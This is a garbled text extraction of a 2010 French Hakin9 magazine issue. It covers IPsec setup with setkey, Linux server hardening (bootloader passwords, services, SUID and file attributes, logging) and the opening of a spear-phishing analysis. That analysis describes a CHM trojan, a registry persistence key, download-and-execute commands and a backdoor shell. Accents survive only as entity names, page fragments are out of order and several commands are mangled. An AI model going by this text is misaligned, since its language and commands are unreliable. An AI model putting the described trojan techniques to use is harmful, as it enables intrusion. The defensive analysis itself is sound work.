Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 5: hakin9_05_2010_FR

regravegles de seacutecurisation

hakin9orgfr

password=M0n_Super_M0t_De_Pa$$e

restricted

delay=5

Pour appliquer un mot de passe sur une image preacutecise

image=bootImage

read-only

password=M0n_Beau_M0t_De_Pa$$e

restricted

Il faut ensuite appliquer les modifications

sbinlilo -v

Une autre solution compleacutementaire (fonctionne sous UBUNTU) permet de speacutecifier les peacuteripheacuteriques tty (terminaux) ou root peut se connecter Par exemple dans le fichier etcsecuretty en mettant en commen-taire toutes les lignes mise agrave part tty1 si vous utilisez udev ou vc1 pour devfs

Limiter le nombre de services au deacutemarrage Les problegravemes de seacutecurisation des machines provien-nent aussi du nombre de programmes exeacutecuteacutes au deacutemarrage du systegraveme dexploitation qui pour un bon nombre ne servent pas

Plusieurs outils permettent de le faire graphique-ment de maniegravere native sous Ubuntu dans le menu Systegraveme-gtAdministration-gtServices il est possible en simplement deacutecochant des cases de deacutesactiver des services Il existe aussi sysv-rc-conf ou boot-up mana-ger ce sont des outils suppleacutementaires que je cite pour exemple mais je conseille la meacutethode manuelle (voir commandes agrave la fin du chapitre)

On ne deacutesactive pas nimporte quoi sous peine de rendre le systegraveme instable au prochain deacutemarrage

Quels services deacutesactiver La reacuteponse est agrave la fois simple on supprime les ser-vices inutiles et agrave la fois compliqueacutee quels services sont utiles

Voici un exemple de services inutiles (les plus geacuteneacute-raux)

bull apache si vous navez pas vocation agrave transformer votre machine en serveur Web il vaut mieux le deacute-sinstaller

Bien sucircr la solution la plus facile pour acceacuteder aux donneacutees dune machine locale eacutetant la reacutecupeacuteration du support de stockage tregraves facile agrave enlever sur la majoriteacute des ordinateurs portables

La meilleure solution actuelle pour limiter laccegraves aux donneacutees confidentialiteacute eacutetant le chiffrement de disque dur entier ou bien par container

Une solution libre de chiffrement par container TrueCrypt httpwwwtruecryptorg

seacutecurisation du chargeur damorccedilageLes plus connus eacutetant GRUB (GRand Unified Bootloa-der) et LILO (LInux LOader) les chargeurs damorccedilage permettent de seacutelectionner le systegraveme dexploitation sur lequel deacutemarrer mais aussi de deacutemarrer en mode single user (eacutedition interactive) qui permet de deacutemarrer loca-lement avec des droits root sans aucun mot de passe par deacutefaut

Pour le seacutecuriser plusieurs options sont possibles

bull deacutefinir un mot de passe pour deacutemarrer le systegraveme dexploitation

bull ou supprimer ce mode

sous GrUBPour deacutefinir un mot de passe il faut dans un premier temps chiffrer le mot de passe en MD5 il est possible dutiliser le shell grub avec la commande md5crypt (voir Figure 1)

Puis dajouter dans le fichier de configuration bootgrubmenulst apregraves la ligne time-out la ligne suivante password --md5 Mon_Mot_De_Passe

La commande --md5 signifie que le mot de passe nest pas en clair

Apregraves cette manipulation on peut maintenant speacutecifier les entreacutees qui requiegraverent un mot de passe pour ce faire il faut ajouter apregraves la ligne title dune entreacutee la com-mande lock (les lignes sont tronqueacutes volontairement)

title Debian GNULinux (recovery mode) lock

kernel bootvmlinuz ro single

initrd bootinitrdimg

Pour supprimer le mode single user ce mode est ap-peleacute single sous GRUB il suffit donc de supprimer les entreacutees correspondantes (ci dessus) Quand vous sup-primez une entreacutee dans le fichier de configuration cela peut alteacuterer la seacutelection du systegraveme dexploitation par deacutefaut (penser agrave modifier la valeur default du deacutebut

sous LiLoLa deacutefinition du mot de passe peut ecirctre globale ou par entreacutee malheureusement le mot de passe reacuteside en clair dans le fichier Pour appliquer un mot de passe global on ajoute au deacutebut du fichier etcliloconf ou etcmenulst comme suit Figure 1 Exemple dutilisation de md5crypt

52010

dossier

bull at planificateur deacutevegravenements si aucun autre pro-gramme ne lutilise (exeacutecution peacuteriodique) vous pou-vez le deacutesactiver attention toutefois il est tregraves sou-vent utiliseacute

bull PCMCIA si vous necirctes pas sur une machine pos-seacutedant ce port il ne sert agrave rien

bull bluetooth si vous navez pas de connectique Blue-tooth il ne sert agrave rien

bull cups si vous nutilisez pas dimprimante (il est parfois utiliseacute avec certains programmes dimpression PDF)

bull FTP serveur de fichierbull ssh si vous neffectuez pas dadministration distan-

te sur votre machine supprimez-le

Cette liste nest pas exhaustive il existe beaucoup trop de programmes pour tous les lister ici Le fait de deacute-sactiver un service diminue limpact quil aura sur la seacutecuriteacute de la machine et diminue aussi la meacutemoire et le temps processeur utiliseacutes cest donc tregraves beacuteneacutefique

Pour lister les services et leurs niveaux dexeacutecution

sbinchkconfig --list

- Pour lister les services reacuteseaux en eacutecoute

lsof -i -n | egrep COMMAND|LISTEN

- Arrecircter un service

etcrcdinitd[nom du service] stop

- Exeacutecuter un service

etcrcdinitd[nom du service] start

- Ajouter un service du deacutemarrage

update-rcd [nom du service] defaults

- Supprimer un service du deacutemarrage

update-rcd [nom du service] remove

Il est aussi possible deffectuer une exeacutecution de comman-de automatique lors de la connexion de lutilisateur notam-ment avec le fichier home[Nom de lutilisateur]bashrc

seacutecurisation des servicesLes nouveaux modegraveles de communication font que lintrusion dans les systegravemes dinformation la plus

significative provient de la seacutecurisation des services reacuteseau et plus preacuteciseacutement des applications Web il est donc tregraves important de seacutecuriser ces services Nous ne parlerons pas ici de la seacutecurisation par filtrage qui sera traiteacutee dans un autre article

ChrootCest une commande qui permet de modifier la racine de lapplication afin de cloisonner le service agrave son pro-pre environnement (voir Figure 2) Elle peut ecirctre utiliseacutee dans deux cas

bull Pour changer denvironnement (basculer vers un autre systegraveme) par exemple utiliser un environne-ment 32bits sur un systegraveme 64bits

bull Pour cloisonner un programmeutilisateur et lempecirc-cher de remonter dans larborescence

Concregravetement mon application Apache est vulneacutera-ble agrave une faille qui permet dacceacuteder agrave un shell distant Dans le premier cas (sans chroot) lattaquant reacutecupegrave-re la main sur mon systegravemeDans le second cas (avec chroot) lattaquant na accegraves quau reacutepertoire de lap-plication il ne peut pas remonter dans larborescence seule mon application est compromise Bien entendu cela nest quun exemple (des manipulations existent pour passer outre cette seacutecuriteacute) mais dans le cas de services mutualiseacutes on eacutevite ainsi de perdre tous les services seul le service incrimineacute est compromis

Nous nexpliquerons pas la proceacutedure de chroot dun service ici de tregraves bons articles et sites web en parlent notamment sur le site httplea-linuxorg sachez tout de mecircme que certaines applications requiegraverent decirctre recompileacutees pour fonctionner dans cet environnement restreint

Les modules et fonctionnaliteacutesPlus un systegraveme est complexe moins il est facile de le seacutecuriseacute il est donc primordial de limiter au maximum les fonctionnaliteacutes agrave notre strict besoin

Les fichiers par deacutefaut de deacuteveloppement (exemple la page phpinfophp pour PHP) sont souvent oublieacutes De nombreux automates (scanner de vulneacuterabiliteacute exemple Nessus) permettent de veacuterifier les configura-tions par deacutefaut Ils peuvent apporter des informations agrave un eacuteventuel assaillant il est donc primordial deffacer ces composants

De nombreux programmes (TOMCAT PHP ) utilisent des modules pour lajout de fonctionnaliteacute ces modules

Figure 2 Changement de racine

etcapacvhe

Figure 3 Droit SUID

hakin9orgfr 9

sont bien souvent installeacutes par deacutefaut et oublieacutes or dans le cas dapplications WEB ces oublis permettent bien souvent dutiliser des exploits la suppression de ces modules permet de corriger ce problegraveme (en les deacutesinstallant ou la plupart du temps en commentant les lignes dans les fichiers de configuration)

Versions et mise agrave jourLa premiegravere chose que va chercher agrave obtenir un eacuteventuel attaquant sur un systegraveme reacuteseau est la version drsquoappli-cation ou du systegraveme afin de le comparer avec des listes de vulneacuterabiliteacutes existantes Hors dans de nombreux cas ces versions sont facilement identifiables

Exemple sur un serveur FTP lors de la connexion celui-ci va nous indiquer sa version de systegraveme dex-ploitation son nom de logiciel et sa version

Les solutions ne sont pas toujours tregraves simples mais existent

bull la suppression des banniegraveres de connexion ou au moins les rendre anonymes au maximum (requiert parfois une recompilation du binaire)

bull la mise agrave jour constante des applications et des systegravemes (malheureusement les failles 0 days existent)

bull le changement des mots de passe par deacutefaut

Une autre probleacutematique agrave laquelle on ne songe pas toujours lors de la mise agrave jour dun systegraveme il arri-ve bien souvent que le correctif de seacutecuriteacute modifie la configuration de lapplication (par exemple sur Ora-cle lrsquoapplication de certains correctifs reacuteinitialise les paramegravetres de seacutecuriteacute)

Apregraves lapplication dun correctif il est primordial de veacuterifier la configuration de seacutecuriteacute dune application

droits et fichiersDepuis toujours ladministration essaie de prendre en compte les notions de seacutecuriteacute mais oublie bien souvent la gestion des droits sur les fichiers Sous les systegravemes Linux il existe les droits standards (lectureeacutecritureexeacute-cution avec la gestion utilisateurgroupeautre) et les droits eacutetendus (Suid Sticky Bit ACL)

Eacutenumeacuterer les fichiers et reacutepertoires avec des droits en eacutecriture pour tous

fi nd type d -perm -2 -exec ls -lcd

Pour un systegraveme multi-utilisateurs avec des partages de fichiers le systegraveme de droits standard nest pas suf-fisant Pour ce faire il existe les ACL (commandes getfacl et setfacl) qui permettent une gestion de droits plus fine sur les fichiers

Dans la majoriteacute des cas un administrateur ne pen-sera pas agrave faire un getfacl sur un fichier il fera un simple ls -al et passera donc devant des droits peut ecirctre trop

9

5201010

dossier

permissifs crsquoest pour cela quil est recommandeacute dutili-ser au strict besoin ce genre de droits

Les droits setuid et setgid (repreacutesenteacutes par un s) permettent agrave un programme de sexeacutecuter avec les droits de son proprieacutetaire par exemple la commande passwd permet agrave un simple utilisateur de modifier son mot de passe (par deacutefaut) dans le fichier etcpasswd ou etcshadow (voir Figure 3)

Ces droits sont agrave lorigine dun tregraves grand nombre de failles de seacutecuriteacute locales qui permettent leacuteleacutevation de privilegraveges sous Linux (passer dun simple utilisateur agrave root) il est donc fortement recommandeacute de lutiliser au strict minimum

Liste des fichiers ougrave les droits SUID et SGUID sont positionneacutes

find ( -perm -4000 -o -perm -2000 ) -exec -l -lc

Le sticky bit (bit de collage) est un droit compleacutemen-taire positionneacute sur un fichier il permet de garder le fi-chier en meacutemoire si par contre il est positionneacute sur un reacutepertoire (exemple tmp) les fichiers creacuteeacutes dans ce reacutepertoire ne pourront ecirctre supprimeacutes que par le pro-prieacutetaire du fichier

Drsquoautres attributs de fichiers (positionneacutes avec la commandes chattr et visibles avec lsattr) peuvent ecirctre appliqueacutes

bull a on peut seulement ajouter des donneacutees au fi-chier

bull c compresseacute automatiquementbull i ne peut ecirctre modifieacute (ni supprimeacute ni renommeacute)bull s remplacement de tous les blocs du fichier lors

de la suppression par des 0bull u sauvegarde du fichier en cas de suppression

Exemple drsquoutilisation

bull chattr +i mon _ fichier ajoute lattributbull chattr -i mon _ fichier supprime lattributbull chattr =i mon _ fichier ne laisse que lattribut

La virtualisationLa reacutepartition de charge par virtualisation est de plus en plus utiliseacutee elle permet sur un serveur suffisamment puissant deacutemuler plusieurs serveurs (par exemple dobtenir sur une mecircme machine plusieurs controcircleurs de domaine) Ces architectures sont assez reacutecentes et geacuteneacuteralement mal maicirctriseacutees par les administrateurs (voir Figure 4)

Figure 4 Virtualisation

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

